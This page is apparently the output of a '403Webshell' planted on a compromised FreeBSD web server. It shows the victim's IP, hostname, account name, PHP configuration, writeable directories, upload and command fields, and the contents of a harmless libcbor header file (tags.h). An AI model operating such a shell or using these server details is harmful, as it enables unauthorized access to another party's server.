403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/include/cbor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/include/cbor/tags.h
/*
 * Copyright (c) 2014-2020 Pavel Kalvoda <me@pavelkalvoda.com>
 *
 * libcbor is free software; you can redistribute it and/or modify
 * it under the terms of the MIT license. See LICENSE for details.
 */

#ifndef LIBCBOR_TAGS_H
#define LIBCBOR_TAGS_H

#include "cbor/cbor_export.h"
#include "cbor/common.h"

#ifdef __cplusplus
extern "C" {
#endif

/*
 * ============================================================================
 * Tag manipulation
 * ============================================================================
 */

/** Create a new tag
 *
 * @param value The tag value. Please consult the tag repository
 * @return **new** tag. Item reference is `NULL`. Returns `NULL` upon
 * 	memory allocation failure
 */
CBOR_EXPORT cbor_item_t *cbor_new_tag(uint64_t value);

/** Get the tagged item
 *
 * @param item[borrow] A tag
 * @return **incref** the tagged item
 */
CBOR_EXPORT cbor_item_t *cbor_tag_item(const cbor_item_t *item);

/** Get tag value
 *
 * @param item[borrow] A tag
 * @return The tag value. Please consult the tag repository
 */
CBOR_EXPORT uint64_t cbor_tag_value(const cbor_item_t *item);

/** Set the tagged item
 *
 * @param item[borrow] A tag
 * @param tagged_item[incref] The item to tag
 */
CBOR_EXPORT void cbor_tag_set_item(cbor_item_t *item, cbor_item_t *tagged_item);

/** Build a new tag
 *
 * @param item[incref] The tagee
 * @param value Tag value
 * @return **new** tag item
 */
CBOR_EXPORT cbor_item_t *cbor_build_tag(uint64_t value, cbor_item_t *item);

#ifdef __cplusplus
}
#endif

#endif  // LIBCBOR_TAGS_H

Youez - 2016 - github.com/yon3zu
LinuXploit